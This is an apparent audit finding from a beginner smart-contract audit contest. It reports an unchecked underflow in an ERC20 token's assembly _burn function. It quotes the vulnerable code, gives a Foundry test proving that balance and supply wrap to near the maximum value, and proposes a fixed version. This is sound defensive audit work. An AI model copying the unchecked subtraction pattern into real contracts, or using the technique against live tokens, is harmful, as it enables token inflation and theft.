Token-0x

First Flight #54
Beginner FriendlyDeFi
100 EXP
View results
Submission Details
Severity: high
Valid

Unchecked _burn function underflow

Root + Impact

Description

  • The intended behavior is for the _burn function to subtract tokens from the user's balance and reduce the total supply only when the user has enough tokens to burn

  • The vulnerability arises because the code does not verify that the accountBalance is greater than or equal to the burn amount(value), allowing an underflow in assembly that gives the attacker an extremely large balance and corrupts the total supply

function _burn(address account, uint256 value) internal {
assembly ("memory-safe") {
if iszero(account) {
mstore(0x00, shl(224, 0x96c6fd1e))
mstore(add(0x00, 4), 0x00)
revert(0x00, 0x24)
}
let ptr := mload(0x40)
let balanceSlot := _balances.slot
let supplySlot := _totalSupply.slot
let supply := sload(supplySlot)
@> sstore(supplySlot, sub(supply, value)) // unchecked total-supply subtraction
mstore(ptr, account)
mstore(add(ptr, 0x20), balanceSlot)
let accountBalanceSlot := keccak256(ptr, 0x40)
let accountBalance := sload(accountBalanceSlot)
@> sstore(accountBalanceSlot, sub(accountBalance, value)) // unchecked balance subtraction
}
}

Risk

Likelihood:

  • Reason 1: The attacker only has to ask to burn more tokens than they own, so the exploit always works for (value > accountBalance or value > supply)

  • Reason 2: The vulnerability is guaranteed to trigger because the function does not include any balance-checking(underflow) logic before subtracting.

Impact:

  • Impact 1: The attacker can create an extremely large token balance nearly (accountBalance - value) mod 2^256 due to underflow, allowing them to mint tokens for free.

  • Impact 2: The exploit can destroy the token’s economic integrity by allowing unlimited supply manipulation and complete loss of trust.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test} from "forge-std/Test.sol";
import {ERC20} from "../src/ERC20.sol";
// Harness exposes the vulnerable internal _burn so the test can hit ERC20Internals directly.
contract BurnHarness is ERC20 {
constructor() ERC20("Token", "TKN") {}
function exposedBurn(address account, uint256 value) external {
_burn(account, value);
}
}
contract BurnUnderflow is Test {
BurnHarness internal token;
address internal attacker = address(0x2028); //attacker's address
function setUp() public {
token = new BurnHarness();
}
function test_burnUnderflow() public {
uint256 amount = 1 ether;
// Attacker never received any tokens, yet attempts to burn their own balance.
token.exposedBurn(attacker, amount);
// Underflow wraps both the attacker's balance and total supply to near-uint256 max.
uint256 expected = type(uint256).max - amount + 1;
assertEq(token.balanceOf(attacker), expected, "balance underflowed to max");
assertEq(token.totalSupply(), expected, "total supply underflowed");
}
}

Recommended Mitigation

//before subtracting first verify value <=accountBalance and value <= supply
function _burn(address account, uint256 value) internal {
assembly ("memory-safe") {
if iszero(account) {
mstore(0x00, shl(224, 0x96c6fd1e))
mstore(add(0x00, 4), 0x00)
revert(0x00, 0x24)
}
let ptr := mload(0x40)
let balanceSlot := _balances.slot
let supplySlot := _totalSupply.slot
let supply := sload(supplySlot)
- sstore(supplySlot, sub(supply, value))
+ if lt(supply, value) { //check for underflow
+ mstore(0x00, shl(224, 0xe450d38c))
+ mstore(add(0x00, 4), account)
+ mstore(add(0x00, 0x24), supply)
+ mstore(add(0x00, 0x44), value)
+ revert(0x00, 0x64)
+ }
mstore(ptr, account)
mstore(add(ptr, 0x20), balanceSlot)
let accountBalanceSlot := keccak256(ptr, 0x40)
let accountBalance := sload(accountBalanceSlot)
- sstore(accountBalanceSlot, sub(accountBalance, value))
+ if lt(accountBalance, value) { //check for underflow
+ mstore(0x00, shl(224, 0xe450d38c))
+ mstore(add(0x00, 4), account)
+ mstore(add(0x00, 0x24), accountBalance)
+ mstore(add(0x00, 0x44), value)
+ revert(0x00, 0x64)
+ }
+
+ sstore(accountBalanceSlot, sub(accountBalance, value))
+ sstore(supplySlot, sub(supply, value))
+
+ mstore(ptr, value)
+ log3(ptr, 0x20, 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, account, 0)
}
}
Updates

Lead Judging Commences

gaurangbrdv Lead Judge 18 days ago
Submission Judgement Published
Validated
Assigned finding tags:

overflow & underflow

missing checks for overflow and underflow.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!